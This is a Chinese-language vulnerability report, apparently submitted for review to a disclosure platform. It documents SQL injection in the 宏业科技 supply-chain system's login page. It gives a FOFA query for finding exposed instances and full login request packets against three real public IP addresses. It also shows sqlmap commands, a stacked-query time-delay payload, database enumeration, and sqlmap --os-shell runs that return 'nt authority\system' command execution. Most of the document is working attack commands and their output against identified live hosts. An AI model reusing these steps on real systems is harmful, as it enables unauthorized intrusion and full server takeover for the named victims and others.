宏业科技-供应链系统 sql 注入导致命令执行 getshell

资产确认

案例展示

Foda 语句 app="宏业科技-供应链系统"

登录页面

案例 1

url http://114.116.87.2:5678/

数据包

```
POST /login.do HTTP/1.1
Host: 114.116.87.2:5678
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.116.87.2:5678
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537
.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Referer: http://114.116.87.2:5678/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E0D6991C9E950AFBD33716CE0BAEFBB0
Connection: close

action=login&deal=&usercode=1&password=1
```

Sqlmap 命令

Sqlmap -r 001.txt -p “password”

漏洞确认

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: usercode (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: action=login&deal=&usercode=1';WAITFOR DELAY '0:0:5'--&password=1
---
[18:23:05] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
```

跑出数据库验证

```
[18:26:11] [INFO] retrieved: hydtp_scm
[18:30:05] [INFO] retrieved: master
[18:32:01] [INFO] retrieved: model
```

只用三条验证

Sqlmap 生成 shell

Sqlmap -r 001.txt -p “password” –os-shell

拿到 shell

执行命令

```
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
[19:16:27] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:16:28] [INFO] retrieved: 2
[19:16:34] [INFO] retrieved: nt authority\system
[19:19:31] [INFO] retrieved:
command standard output: 'nt authority\system'
```

成功执行 whoami

案例 2 http://124.117.250.148:8088/

数据包

```
POST /login.do HTTP/1.1
Host: 124.117.250.148:8088
Content-Length: 40
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.117.250.148:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537
.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Referer: http://124.117.250.148:8088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=69403F69117FDC04C2D96511C0987E18
Connection: close

action=login&deal=&usercode=1&password=1
```

Sqlmap 命令

Sqlmap -r 002.txt -p “password”

漏洞确认

```
---
Parameter: usercode (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: action=login&deal=&usercode=1';WAITFOR DELAY '0:0:5'--&password=1
---
[18:42:14] [INFO] testing Microsoft SQL Server
[18:42:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloa
ds to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[18:43:21] [INFO] confirming Microsoft SQL Server
[18:43:21] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[18:43:29] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
```

数据库

```
[18:51:45] [INFO] retrieved: hypos
[18:54:18] [INFO] retrieved: master
[18:56:32] [INFO] retrieved: model
```

Sqlmap 生成 shell

命令 sqlmap -r 002.txt -p “password” –os-shell

```
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
[18:59:52] [INFO] retrieved: 2
[19:00:01] [INFO] retrieved: nt authority\system
[19:04:06] [INFO] retrieved:
command standard output: 'nt authority\system'
```

成功执行命令

案例 3

url http://124.70.34.116:5432/

数据包

```
POST /login.do HTTP/1.1
Host: 124.70.34.116:5432
Content-Length: 40
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.34.116:5432
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.70.34.116:5432/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=AC528C2319DE4AF720C77A6291F42CB5
Connection: close

action=login&deal=&usercode=1&password=1
```

Sqlmap 命令

Sqlmap -r 003.txt -p “password”

```
---
Parameter: usercode (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: action=login&deal=&usercode=1';WAITFOR DELAY '0:0:5'--&password=1
---
[19:09:37] [INFO] testing Microsoft SQL Server
[19:09:37] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[19:11:37] [INFO] confirming Microsoft SQL Server
[19:11:37] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:11:43] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
```

数据库验证

```
[19:12:52] [INFO] retrieved: hydtp00
[19:13:30] [INFO] retrieved: master
[19:13:55] [INFO] retrieved: model
```

Sqlmap 生成 shell

Sqlmap -r 003.txt -p “password” –os-shell

验证完毕 其余 url 在附件中

谢谢审核